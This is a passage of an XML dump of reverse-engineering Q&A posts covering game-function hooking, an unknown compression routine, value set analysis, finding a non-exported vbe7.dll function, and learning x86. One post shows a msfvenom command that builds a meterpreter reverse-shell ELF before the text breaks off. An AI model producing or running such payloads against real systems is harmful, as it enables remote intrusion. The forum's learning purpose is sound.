  <row Id="13819" PostTypeId="1" CreationDate="2016-10-26T11:36:33.463" Score="0" ViewCount="168" Body="&lt;p&gt;I am reversing a game for fun and currently use this function to manipulate the Y coordinate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __declspec(naked) hookYCoordASM() {&#xA;    __asm {&#xA;        mov eax, valueY&#xA;        mov [esi + 0x7C], eax&#xA;        jmp[returnYCoord]&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to safe the address of esi+0x7C in a variable of mine (for example valueY) and write to that saved address after wards?&lt;/p&gt;&#xA;" OwnerUserId="17887" LastActivityDate="2016-10-26T22:08:54.413" Title="Possible to hook an address and directly write to it?" Tags="|disassembly|assembly|function-hooking|dll-injection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13820" PostTypeId="2" ParentId="13816" CreationDate="2016-10-26T17:14:37.300" Score="1" Body="&lt;p&gt;an &lt;code&gt;so&lt;/code&gt; file is self contained, to use it, you simply need to load it and use functions it implements. However, in order to use those functions a header file describing the functions and their input parameters is required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting the available functions from within an &lt;code&gt;so&lt;/code&gt; file is easy, you just need to parse the &lt;a href=&quot;http://bottomupcs.sourceforge.net/csbu/x3824.htm&quot; rel=&quot;nofollow&quot;&gt;GOT&lt;/a&gt;. Understanding the input (and output) parameters is a bit more difficult, you'll need to disassemble the functions you're interested in and understand the parameters from the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is of course, if you don't have access to that library's SDK, which usually contain header files for all shared objects.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-26T17:14:37.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13821" PostTypeId="1" CreationDate="2016-10-26T20:35:06.583" Score="2" ViewCount="1013" Body="&lt;p&gt;I have a program that read some proprietary files that are compressed. I managed to debug the program and extract the algorithm that decompress the data and use it on my software without any issue. Now I need to implement the compression algorithm but I am wondering if it would be worth the work to reverse the following ASM code as it could be a well known compression algorithm but I am not sure. I already made some tests with zlib an lz77 but it seems that is not the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompression algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ConvertShellcode 3.0&#xA;***********************************************************************&#xA;Copyright (C) 2009-2015 Alain Rioux (le-tools.com). All rights reserved.&#xA;&#xA;This program is free software: you can redistribute it and/or modify&#xA;it under the terms of the GNU General Public License as published by&#xA;the Free Software Foundation, either version 3 of the License, or&#xA;(at your option) any later version.&#xA;&#xA;This program is distributed in the hope that it will be useful,&#xA;but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;GNU General Public License for more details.&#xA;&#xA;You should have received a copy of the GNU General Public License&#xA;along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.&#xA;***********************************************************************&#xA;&#xA;Assembly language source code :&#xA;***************************************&#xA;00000000  sub esp,0x18&#xA;00000003  push ebp&#xA;00000004  push edi&#xA;00000005  mov edi,dword[ss:esp+0x24]&#xA;00000009  xor eax,eax&#xA;0000000b  xor ecx,ecx&#xA;0000000d  mov edx,0xc&#xA;00000012  mov ah,byte[edi+0xa]&#xA;00000015  mov cl,byte[edi+0x8]&#xA;00000018  mov al,byte[edi+0x9]&#xA;0000001b  shl eax,0x8&#xA;0000001e  or eax,ecx&#xA;00000020  mov dword[ss:esp+0x1c],eax&#xA;00000024  mov eax,0x0&#xA;00000029  mov byte[ss:esp+0xb],al&#xA;0000002d  mov byte[ss:esp+0xa],al&#xA;00000031  mov ebp,eax&#xA;00000033  jbe 0x1ab&#xA;00000039  push ebx&#xA;0000003a  mov ebx,dword[ss:esp+0x2c]&#xA;0000003e  push esi&#xA;0000003f  mov al,byte[ss:esp+0x12]&#xA;00000043  test al,al&#xA;00000045  jne 0x54&#xA;00000047  mov al,byte[edx+edi*1]&#xA;0000004a  mov byte[ss:esp+0x12],0x8&#xA;0000004f  mov byte[ss:esp+0x13],al&#xA;00000053  inc edx&#xA;00000054  test byte[ss:esp+0x13],0x1&#xA;00000059  jne 0x68&#xA;0000005b  mov cl,byte[edx+edi*1]&#xA;0000005e  inc edx&#xA;0000005f  mov byte[ebx+ebp*1],cl&#xA;00000062  inc ebp&#xA;00000063  jmp 0x181&#xA;00000068  mov al,byte[edx+edi*1]&#xA;0000006b  mov cl,byte[edx+edi*1+0x1]&#xA;0000006f  mov byte[ss:esp+0x18],al&#xA;00000073  add edx,0x2&#xA;00000076  and al,0xf&#xA;00000078  mov byte[ss:esp+0x14],cl&#xA;0000007c  mov byte[ss:esp+0x20],al&#xA;00000080  jne 0xbc&#xA;00000082  mov esi,dword[ss:esp+0x14]&#xA;00000086  mov eax,dword[ss:esp+0x18]&#xA;0000008a  and esi,0xff&#xA;00000090  and eax,0xff&#xA;00000095  shl esi,0x4&#xA;00000098  shr eax,0x4&#xA;0000009b  add esi,eax&#xA;0000009d  xor eax,eax&#xA;0000009f  mov al,byte[edx+edi*1]&#xA;000000a2  add eax,0x10&#xA;000000a5  je 0xb6&#xA;000000a7  mov ecx,ebp&#xA;000000a9  sub ecx,esi&#xA;000000ab  inc ebp&#xA;000000ac  dec eax&#xA;000000ad  mov cl,byte[ecx+ebx*1]&#xA;000000b0  mov byte[ebx+ebp*1+0xffffffff],cl&#xA;000000b4  jne 0xa7&#xA;000000b6  inc edx&#xA;000000b7  jmp 0x181&#xA;000000bc  cmp al,0x1&#xA;000000be  jne 0x108&#xA;000000c0  mov eax,dword[ss:esp+0x14]&#xA;000000c4  mov ecx,dword[ss:esp+0x18]&#xA;000000c8  and eax,0xff&#xA;000000cd  and ecx,0xff&#xA;000000d3  lea edi,[ebx+ebp*1]&#xA;000000d6  mov bl,al&#xA;000000d8  shr ecx,0x4&#xA;000000db  mov bh,bl&#xA;000000dd  add ecx,0x3&#xA;000000e0  mov eax,ebx&#xA;000000e2  mov dword[ss:esp+0x1c],ecx&#xA;000000e6  mov esi,ecx&#xA;000000e8  shl eax,0x10&#xA;000000eb  mov ax,bx&#xA;000000ee  mov ebx,dword[ss:esp+0x30]&#xA;000000f2  shr ecx,0x2&#xA;000000f5  rep stos dword[es:edi]&#xA;000000f7  mov ecx,esi&#xA;000000f9  and ecx,0x3&#xA;000000fc  rep stos byte[es:edi]&#xA;000000fe  mov edi,dword[ss:esp+0x2c]&#xA;00000102  mov eax,esi&#xA;00000104  add ebp,eax&#xA;00000106  jmp 0x181&#xA;00000108  cmp al,0x2&#xA;0000010a  jne 0x14b&#xA;0000010c  mov eax,dword[ss:esp+0x14]&#xA;00000110  mov ecx,dword[ss:esp+0x18]&#xA;00000114  and eax,0xff&#xA;00000119  and ecx,0xff&#xA;0000011f  shl eax,0x4&#xA;00000122  shr ecx,0x4&#xA;00000125  lea esi,[edx+edi*1]&#xA;00000128  lea edi,[ebx+ebp*1]&#xA;0000012b  lea ecx,[eax+ecx*1+0x12]&#xA;0000012f  mov dword[ss:esp+0x1c],ecx&#xA;00000133  mov eax,ecx&#xA;00000135  shr ecx,0x2&#xA;00000138  rep movs dword[es:edi],dword[esi]&#xA;0000013a  mov ecx,eax&#xA;0000013c  add edx,eax&#xA;0000013e  and ecx,0x3&#xA;00000141  add ebp,eax&#xA;00000143  rep movs byte[es:edi],byte[esi]&#xA;00000145  mov edi,dword[ss:esp+0x2c]&#xA;00000149  jmp 0x181&#xA;0000014b  mov esi,dword[ss:esp+0x14]&#xA;0000014f  mov ecx,dword[ss:esp+0x18]&#xA;00000153  mov eax,dword[ss:esp+0x20]&#xA;00000157  and esi,0xff&#xA;0000015d  and ecx,0xff&#xA;00000163  shl esi,0x4&#xA;00000166  shr ecx,0x4&#xA;00000169  add esi,ecx&#xA;0000016b  and eax,0xff&#xA;00000170  jbe 0x181&#xA;00000172  mov ecx,ebp&#xA;00000174  sub ecx,esi&#xA;00000176  inc ebp&#xA;00000177  dec eax&#xA;00000178  mov cl,byte[ecx+ebx*1]&#xA;0000017b  mov byte[ebx+ebp*1+0xffffffff],cl&#xA;0000017f  jne 0x172&#xA;00000181  mov al,byte[ss:esp+0x12]&#xA;00000185  mov cl,byte[ss:esp+0x13]&#xA;00000189  dec al&#xA;0000018b  mov byte[ss:esp+0x12],al&#xA;0000018f  mov eax,dword[ss:esp+0x24]&#xA;00000193  shr cl,0x1&#xA;00000195  cmp ebp,eax&#xA;00000197  mov byte[ss:esp+0x13],cl&#xA;0000019b  jb 0x3f&#xA;000001a1  pop esi&#xA;000001a2  pop ebx&#xA;000001a3  mov eax,ebp&#xA;000001a5  pop edi&#xA;000001a6  pop ebp&#xA;000001a7  add esp,0x18&#xA;000001aa  ret&#xA;000001ab  mov eax,ebp&#xA;000001ad  pop edi&#xA;000001ae  pop ebp&#xA;000001af  add esp,0x18&#xA;000001b2  ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the output of signsrch.exe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset   num  description [bits.endian.size]&#xA;  --------------------------------------------&#xA;  00013888 641  CRC-32-IEEE 802.3 [crc32.0x04c11db7 le rev int_min.1024]&#xA;  00013888 648  CRC-32-IEEE 802.3 [crc32.0xedb88320 lenorev 1.1024]&#xA;  00013c8c 2294 zinflate_lengthExtraBits [32.le.116]&#xA;  00013cfd 2304 zinflate_distanceExtraBits [32.be.120]&#xA;  00013d00 2303 zinflate_distanceExtraBits [32.le.120]&#xA;  000142d0 1086 Zlib dist_code [..512]&#xA;  000144d0 1087 Zlib length_code [..256]&#xA;  000145d0 1089 Zlib base_length [32.le.116]&#xA;  00014644 1091 Zlib base_dist [32.le.120]&#xA;  00014738 2291 zinflate_lengthStarts [32.le.116]&#xA;  000147b1 2295 zinflate_lengthExtraBits [32.be.116]&#xA;  00014830 2298 zinflate_distanceStarts [32.le.120]&#xA;  00016dd0 871  ACSS reverse sbox [..256]&#xA;  00016dd0 1963 FFT and FHT routines rv_tbl [..128]&#xA;  00018ea8 3038 unlzx table_three [32.le.64]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone knows if this is a known compression algorithm? If no, is there any advice on how to reverse it quickly?&lt;/p&gt;&#xA;" OwnerUserId="8493" LastEditorUserId="2147" LastEditDate="2016-10-26T20:48:32.957" LastActivityDate="2016-10-27T07:45:36.450" Title="Identify and/or reverse compression algorithm" Tags="|assembly|decompress|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13822" PostTypeId="2" ParentId="13819" CreationDate="2016-10-26T22:08:54.413" Score="1" Body="&lt;p&gt;Yes, you can. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint32_t some_value;&#xA;uint32_t ptr_to_some_value; // eax is always 32-bit&#xA;void __declspec(naked) hookYCoordASM() {&#xA;    __asm {&#xA;        // #1: to get the value&#xA;        mov eax, [esi + 0x7C];&#xA;        mov some_value, eax;&#xA;&#xA;        // #2: to get a pointer to the value&#xA;        lea eax, [esi + 0x7C];&#xA;        mov ptr_to_some_value, eax;&#xA;&#xA;        mov eax, valueY&#xA;        mov [esi + 0x7C], eax&#xA;        jmp[returnYCoord]&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;With that being said&lt;/em&gt;, I have to clarify this: you're arbitrarily overriding the value of &lt;code&gt;eax&lt;/code&gt;. If the hooked function does not use it, then you're good, but whenever you hook a function which &lt;em&gt;does&lt;/em&gt; use it, and you override it, everything will probably break. To avoid this, preserve &lt;code&gt;eax&lt;/code&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __declspec(naked) hookYCoordASM() {&#xA;    __asm {&#xA;        // save eax for later&#xA;        push eax;&#xA;&#xA;        // ...&#xA;        // do stuff&#xA;        // ...&#xA;&#xA;        // restore eax&#xA;        pop eax;&#xA;&#xA;        // ...&#xA;        jmp[returnYCoord]&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17693" LastActivityDate="2016-10-26T22:08:54.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13823" PostTypeId="2" ParentId="13821" CreationDate="2016-10-27T07:45:36.450" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://aluigi.altervista.org/quickbms.htm&quot; rel=&quot;nofollow&quot;&gt;QuickBMS&lt;/a&gt; has a script (&lt;a href=&quot;http://aluigi.altervista.org/quickbms/comtype_scan.htm&quot; rel=&quot;nofollow&quot;&gt;comtype_scan&lt;/a&gt;) which tries to bruteforce multiple decompression algorthms.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-27T07:45:36.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13824" PostTypeId="1" CreationDate="2016-10-27T09:40:39.623" Score="3" ViewCount="121" Body="&lt;p&gt;I read a &lt;a href=&quot;http://edmcman.bitbucket.org/blog/2012/09/07/undocumented-features-of-vsa/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; about value set analysis (VSA). For VSA, see e.g. &lt;a href=&quot;https://research.cs.wisc.edu/wpis/papers/wysinwyx.final.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog author writes&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I’ve been trying to get to the point where the example in&#xA;  Balakrishnan’s dissertation works. I chose this example because I&#xA;  don’t know of any others!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was wondering how one would test a custom VSA implementation. How can one find test cases? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is one could run &amp;amp; trace a simple application and record (concrete, i.e. run-time) values for some memory areas or registers. These values then should show up in the result of the corresponding memory / registers after having done the static VSA, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the beginning, it would be easier to have some examples. Are you aware of any examples (other than those in the official papers)?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2016-10-27T17:51:41.887" Title="How would one find test cases for a self-implemented value set analysis (VSA)?" Tags="|binary-analysis|decompilation|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13825" PostTypeId="2" ParentId="13824" CreationDate="2016-10-27T11:44:25.030" Score="1" Body="&lt;p&gt;Well, using dynamic analysis is one way, but you can probably start with some small, self-evident edge cases, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test edx, 1&#xA;jz @even&#xA;[here, edx is odd]&#xA;even:&#xA;[here, edx is even]&#xA;&#xA;test edx, edx&#xA;jg @greater&#xA;[here, edx is &amp;lt;=0]&#xA;greater:&#xA;[here, edx is &amp;gt;0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2016-10-27T17:51:41.887" LastActivityDate="2016-10-27T17:51:41.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13826" PostTypeId="1" AcceptedAnswerId="13835" CreationDate="2016-10-27T19:19:54.070" Score="2" ViewCount="3088" Body="&lt;p&gt;I need to locate the address of a function in a DLL at runtime which isn't exported. The DLL in question is vbe7.dll related to Visual Basic (and macros). The function is &lt;code&gt;___vbaInStr&lt;/code&gt;, can be found in IDA if symbols are downloaded from Microsoft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locating it in IDA to get an offset is no biggie but I want to use it in Python and be able to locate it even if it's running on other machines. The reason being that I'm using winappdbg and need to place a breakpoint on the particular function to access the arguments pushed to the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theories so far have been:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find exported functions used close to a call to the targeted function and calculate the offset. Haven't tried it though.&lt;/li&gt;&#xA;&lt;li&gt;Find a instruction pattern around the call to the targeted function. This failed depending on the DLL version and compiler used.&lt;/li&gt;&#xA;&lt;li&gt;Look at the targeted function to locate the starting address, this failed for the same reason as above.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So getting the address of an exported function is easy but getting the address of a non-exported function? Target is &lt;code&gt;.text:102242E3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:10224212 ; int __stdcall sub_10224212(int, LCID Locale, VARIANTARG *, VARIANTARG *pvarSrc, int)&#xA;.text:10224212 sub_10224212    proc near               ; CODE XREF: sub_1000B164+859p&#xA;.text:10224212                                         ; rtcInStrChar+52p&#xA;.text:10224212&#xA;.text:10224212 arg_0           = dword ptr  8&#xA;.text:10224212 Locale          = dword ptr  0Ch&#xA;.text:10224212 arg_8           = dword ptr  10h&#xA;.text:10224212 pvarSrc         = dword ptr  14h&#xA;.text:10224212 arg_10          = dword ptr  18h&#xA;.text:10224212&#xA;.text:10224212                 mov     edi, edi&#xA;.text:10224214                 push    ebp&#xA;.text:10224215                 mov     ebp, esp&#xA;.text:10224217                 push    ebx&#xA;.text:10224218                 push    edi&#xA;.text:10224219                 mov     edi, [ebp+pvarSrc]&#xA;.text:1022421C                 push    edi&#xA;.text:1022421D                 call    rtcIsNull&#xA;.text:10224222                 test    ax, ax&#xA;.text:10224225                 jnz     loc_10224330&#xA;.text:1022422B                 mov     ebx, [ebp+arg_8]&#xA;.text:1022422E                 push    ebx&#xA;.text:1022422F                 call    rtcIsNull&#xA;.text:10224234                 test    ax, ax&#xA;.text:10224237                 jnz     loc_10224330&#xA;.text:1022423D                 push    esi&#xA;.text:1022423E                 push    8&#xA;.text:10224240                 pop     esi&#xA;.text:10224241                 cmp     [edi], si&#xA;.text:10224244                 jnz     short loc_1022424B&#xA;.text:10224246                 mov     edi, [edi+8]&#xA;.text:10224249                 jmp     short loc_10224261&#xA;.text:1022424B ; ---------------------------------------------------------------------------&#xA;.text:1022424B&#xA;.text:1022424B loc_1022424B:                           ; CODE XREF: sub_10224212+32j&#xA;.text:1022424B                 push    edi             ; pvarSrc&#xA;.text:1022424C                 call    sub_1006D9C8&#xA;.text:10224251                 mov     edi, eax&#xA;.text:10224253                 mov     eax, esi&#xA;.text:10224255                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056&#xA;.text:1022425B                 mov     dword ptr pvarg.anonymous_0+8, edi ; jumptable 1000BE78 cases 56231,63056&#xA;.text:10224261&#xA;.text:10224261 loc_10224261:                           ; CODE XREF: sub_10224212+37j&#xA;.text:10224261                 movzx   eax, word ptr [ebx]&#xA;.text:10224264                 cmp     ax, si&#xA;.text:10224267                 jnz     short loc_1022426E&#xA;.text:10224269                 mov     eax, [ebx+8]&#xA;.text:1022426C                 jmp     short loc_102242DB&#xA;.text:1022426E ; ---------------------------------------------------------------------------&#xA;.text:1022426E&#xA;.text:1022426E loc_1022426E:                           ; CODE XREF: sub_10224212+55j&#xA;.text:1022426E                 cmp     word ptr pvarg.anonymous_0, si ; jumptable 1000BE78 cases 56231,63056&#xA;.text:10224275                 jnz     short loc_102242C7&#xA;.text:10224277                 cmp     ax, 9&#xA;.text:1022427B                 jnz     short loc_102242C7&#xA;.text:1022427D                 xor     eax, eax&#xA;.text:1022427F                 mov     esi, offset pvarSrc&#xA;.text:10224284                 push    esi&#xA;.text:10224285                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056&#xA;.text:1022428B                 push    dword ptr [ebx+8]&#xA;.text:1022428E                 call    sub_1022103A&#xA;.text:10224293                 mov     ebx, eax&#xA;.text:10224295                 test    ebx, ebx&#xA;.text:10224297                 jz      short loc_102242A6&#xA;.text:10224299                 push    edi             ; bstrString&#xA;.text:1022429A                 call    ds:__imp_SysFreeString ; jumptable 1000BE78 cases 171,16878,16935,30141,31177,32098,43703,61383,65216&#xA;.text:102242A0                 push    ebx&#xA;.text:102242A1                 call    sub_1005DCF1&#xA;.text:102242A6&#xA;.text:102242A6 loc_102242A6:                           ; CODE XREF: sub_10224212+85j&#xA;.text:102242A6                 push    8&#xA;.text:102242A8                 pop     eax&#xA;.text:102242A9                 push    eax             ; vt&#xA;.text:102242AA                 push    esi             ; pvarSrc&#xA;.text:102242AB                 push    esi             ; pvargDest&#xA;.text:102242AC                 mov     word ptr pvarg.anonymous_0, ax ; jumptable 1000BE78 cases 56231,63056&#xA;.text:102242B2                 mov     dword ptr pvarg.anonymous_0+8, edi ; jumptable 1000BE78 cases 56231,63056&#xA;.text:102242B8                 call    sub_10082A4C&#xA;.text:102242BD                 mov     eax, dword ptr pvarSrc.anonymous_0+8&#xA;.text:102242C2                 push    8&#xA;.text:102242C4                 pop     esi&#xA;.text:102242C5                 jmp     short loc_102242DB&#xA;.text:102242C7 ; ---------------------------------------------------------------------------&#xA;.text:102242C7&#xA;.text:102242C7 loc_102242C7:                           ; CODE XREF: sub_10224212+63j&#xA;.text:102242C7                                         ; sub_10224212+69j&#xA;.text:102242C7                 push    ebx             ; pvarSrc&#xA;.text:102242C8                 call    sub_1006D9C8&#xA;.text:102242CD                 mov     ecx, esi&#xA;.text:102242CF                 mov     word ptr pvarSrc.anonymous_0, cx&#xA;.text:102242D6                 mov     dword ptr pvarSrc.anonymous_0+8, eax&#xA;.text:102242DB&#xA;.text:102242DB loc_102242DB:                           ; CODE XREF: sub_10224212+5Aj&#xA;.text:102242DB                                         ; sub_10224212+B3j&#xA;.text:102242DB                 push    [ebp+arg_10]    ; int&#xA;.text:102242DE                 push    edi             ; LPCWSTR&#xA;.text:102242DF                 push    eax             ; lpSrcStr&#xA;.text:102242E0                 push    [ebp+Locale]    ; Locale&#xA;.text:102242E3                 call    sub_10083C60 &#xA;.text:102242E8                 mov     edi, eax&#xA;.text:102242EA                 cmp     word ptr pvarg.anonymous_0, si ; jumptable 1000BE78 cases 56231,63056&#xA;.text:102242F1                 jnz     short loc_10224307&#xA;.text:102242F3                 push    dword ptr pvarg.anonymous_0+8 ; bstrString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17903" LastEditorUserId="2147" LastEditDate="2016-10-28T17:20:58.367" LastActivityDate="2016-10-29T16:17:02.330" Title="Locate address of function in DLL" Tags="|dll|python|breakpoint|address|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13827" PostTypeId="2" ParentId="13826" CreationDate="2016-10-27T22:34:46.257" Score="0" Body="&lt;p&gt;If you target known versions you can hardcode the addresses as found it Ida. If you don't know for different versions than best approach is fetch pdb via api and find address that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might help you tonget started: &lt;a href=&quot;https://stackoverflow.com/questions/3092609/how-to-get-field-names-and-offsets-of-a-struct-using-dbghlp-and-pdb&quot;&gt;https://stackoverflow.com/questions/3092609/how-to-get-field-names-and-offsets-of-a-struct-using-dbghlp-and-pdb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-10-27T22:34:46.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13828" PostTypeId="2" ParentId="13826" CreationDate="2016-10-28T11:32:57.540" Score="1" Body="&lt;p&gt;if you have pdb then this code can fetch you either Symbol or Type from it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;dbghelp.h&amp;gt;&#xA;#pragma comment(lib , &quot;dbghelp.lib&quot;)&#xA;&#xA;HANDLE hProcess;&#xA;&#xA;BOOL CALLBACK EnumSymProc(PSYMBOL_INFO pSymInfo,ULONG ,PVOID UserContext){&#xA;  size_t maxcmplen = strlen((PCHAR)UserContext);&#xA;  if( maxcmplen == pSymInfo-&amp;gt;NameLen ) {&#xA;    if((strncmp(pSymInfo-&amp;gt;Name,(PCHAR)UserContext,pSymInfo-&amp;gt;NameLen)) == 0) {&#xA;      TI_FINDCHILDREN_PARAMS childs = {0};&#xA;      SymGetTypeInfo(hProcess,pSymInfo-&amp;gt;ModBase,pSymInfo-&amp;gt;TypeIndex,&#xA;      TI_GET_CHILDRENCOUNT,&amp;amp;childs.Count);&#xA;      printf(&quot;%8s%10s%10s%16s %s&quot; , &quot;Size&quot; ,&quot;TypeIndex&quot;,&quot;Childs&quot;,&quot;Address&quot;,&quot;Name\n&quot;);&#xA;      printf (&quot;%8x %8x %8x %16I64x %10s\n&quot;,pSymInfo-&amp;gt;Size,pSymInfo-&amp;gt;TypeIndex,&#xA;      childs.Count,pSymInfo-&amp;gt;Address , pSymInfo-&amp;gt;Name );&#xA;    }&#xA;  }&#xA;  return TRUE;&#xA;}&#xA;void main(int argc , char *argv[]) {&#xA;  hProcess = GetCurrentProcess();&#xA;  SymInitialize(hProcess, NULL, FALSE);  &#xA;  DWORD64 BaseOfDll=SymLoadModuleEx(hProcess,NULL,argv[1],NULL,&#xA;  0x400000,0x20000,NULL,0);&#xA;  SymEnumSymbols(hProcess , BaseOfDll , &quot;*!*&quot; , EnumSymProc , argv[2]);&#xA;  SymEnumTypes(hProcess, BaseOfDll, EnumSymProc, argv[2]);  &#xA;  SymCleanup(hProcess);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;usage &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;symenumtype.exe .\vbe7.pdb __vbaInStr&#xA;    Size TypeIndex    Childs         Address Name&#xA;       0        0        0           4c3e4f __vbaInStr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-10-28T11:32:57.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13829" PostTypeId="1" AcceptedAnswerId="13832" CreationDate="2016-10-28T16:37:17.910" Score="3" ViewCount="1029" Body="&lt;p&gt;I have been intrigued by reverse engineering recently and just finished Paul Carter's &lt;em&gt;PC Assembly Language&lt;/em&gt; book (&lt;a href=&quot;http://pacman128.github.io/static/pcasm-book.pdf&quot; rel=&quot;nofollow&quot;&gt;http://pacman128.github.io/static/pcasm-book.pdf&lt;/a&gt;) which was a great primer for x86. My first question is: What is a good intermediate level book to get a better grasp of x86 assembly? Secondly: Should I get a better grasp of the C programming language before I dive deeper into x86? At the moment I only have basic knowledge of C as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is an opinion type question but I highly respect the input of people on this forum regarding this topic.&lt;/p&gt;&#xA;" OwnerUserId="17804" LastEditorUserId="2147" LastEditDate="2018-10-04T04:24:11.133" LastActivityDate="2018-10-04T04:24:11.133" Title="Good foundation for reverse engineering malware" Tags="|disassembly|assembly|x86|malware|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13830" PostTypeId="2" ParentId="13826" CreationDate="2016-10-28T17:20:18.747" Score="0" Body="&lt;p&gt;The best option here is probably your first suggestion - finding an exported function that calls your function, and then disassembling it in run time to figure out where the call points to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pretty easily done by using IDA's cross-reference for example (&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;x&lt;/kbd&gt; when your cursor is on the function's name in IDA). Keep in mind that you'd want to avoid/reduce the amount of certain parameters used to find the function you're looking for. For example, you should be looking for the path with least dereferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of a function you can look for a construct that points to the function you're looking for (if that function is used in a function pointer).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-10-28T17:20:18.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13831" PostTypeId="1" AcceptedAnswerId="13833" CreationDate="2016-10-28T19:18:19.967" Score="2" ViewCount="2894" Body="&lt;p&gt;i create &lt;code&gt;elf&lt;/code&gt; with this command: (&lt;a href=&quot;http://bayanbox.ir/download/6181241207329062747/rt&quot; rel=&quot;nofollow&quot;&gt;Dowanlod file&lt;/a&gt; - is elf32)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5150 -f elf  -o ./rt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works nicely, and i want disassemble it but not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file ./rt&#xA;./rt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size&#xA;&#xA;$ objdump -D ./rt&#xA;&#xA;./rt:     file format elf32-i386&#xA;&#xA;$ objdump -d ./rt&#xA;&#xA;./rt:     file format elf32-i386&#xA;&#xA;$ readelf -a ./rt&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x8048054&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of 